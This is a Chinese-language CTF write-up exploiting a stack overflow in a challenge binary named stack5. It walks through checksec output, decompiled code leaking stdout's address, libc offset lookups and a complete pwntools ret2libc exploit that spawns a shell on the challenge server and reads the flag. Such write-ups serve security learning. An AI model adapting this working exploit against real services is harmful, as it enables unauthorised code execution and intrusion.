漏洞分析

题目

查看可执行文件stack5的保护,只开启了NX保护

1
2
3
4
5
6
7
8
┌──(root💀06aa46c0844f)-[/home/stack5]
└─# checksec stack5
[*] '/home/stack5/stack5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

查看动态链接库libc-2.23.so的保护,开启了PIE,每次加载基地址都会随机化

1
2
3
4
5
6
7
8
9
┌──(root💀06aa46c0844f)-[/home/stack5]
└─# checksec libc-2.23.so
[*] '/home/stack5/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE ena
bled

main函数中,打印泄露了stdout的真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-100h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("welcome to stack5");
printf("Here is a gift: %p\n", stdout, argv);
puts("input your name plz");
read(0, &buf, 0x100uLL);
print_name(&buf);
return 0;
}

print_name中存在栈溢出

1
2
3
4
5
6
7
int __fastcall print_name(const void *a1)
{
char dest; // [rsp+10h] [rbp-20h]

memcpy(&dest, a1, 0x100uLL);
return printf("Hello %s\n", &dest);
}

攻击思路

首先获取泄露的stdout的实际地址,然后结合libc中stdout的偏移地址从而计算出libc加载的基地址,进而算出system和”/bin/sh”的实际地址,再栈溢出攻击

编写payload

获取”/bin/sh”在libc中的偏移地址为0x18ce17,ROPgadget --binary stack5 --string "/bin/sh"

1
2
3
┌──(root💀06aa46c0844f)-[/home/stack5]
└─# strings -a -t x libc-2.23.so | grep "/bin/sh"
18ce17 /bin/sh

对system和stdout在libc中偏移地址的获取建议直接ida里找了,这是最准的,我用ROPgadget找的地址不对,也不知道为什么,有师傅知道的麻烦留言或者联系我

放入ida中查看stdout的地址为0x3C5620

1
2
3
.data:00000000003C5620                 public _IO_2_1_stdout_
.data:00000000003C5620 _IO_2_1_stdout_ db 84h ; DATA XREF: LOAD:00000000000088C8↑o
.data:00000000003C5620 ; .data:00000000003C55A8↑o ...

system偏移地址为0x453a0

因为是64位,还需要rdi_ret的地址

1
2
3
┌──(root💀06aa46c0844f)-[/home/stack5]
└─# ROPgadget --binary stack5 --only "pop|ret" | grep rdi
0x0000000000400843 : pop rdi ; ret

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# encoding: utf-8
from pwn import *
#context.log_level = 'debug'
r = remote("47.94.239.235", 2025)
r.recvuntil(":")
stdout_addr = r.recvuntil("\n")
stdout_addr = int(stdout_addr[-15:-1], 16)
print(hex(stdout_addr))
stdout_libc_addr = 0x3c5620
system_libc_addr = 0x453a0
sh_libc_addr = 0x18ce17

base_addr = stdout_addr - stdout_libc_addr
system_addr = base_addr + system_libc_addr
sh_addr = base_addr + sh_libc_addr
rdi_ret_addr = 0x400843
payload = 'a'*0x20 + p64(0xdeadbeef) + p64(rdi_ret_addr) + p64(sh_addr) + p64(system_addr)
r.recv()
r.send(payload)
r.recv()
r.interactive()

打通!

1
2
3
4
5
6
7
8
9
┌──(root💀06aa46c0844f)-[/home/stack5]
└─# python2 exp.py
[+] Opening connection to 47.94.239.235 on port 2025: Done
0x7fb8d2262620
[*] Switching to interactive mode
$ whoami
ctf
$ cat home/ctf/flag
flag{a37e9c0d-234b-490f-bd63-5765e67dc12d}$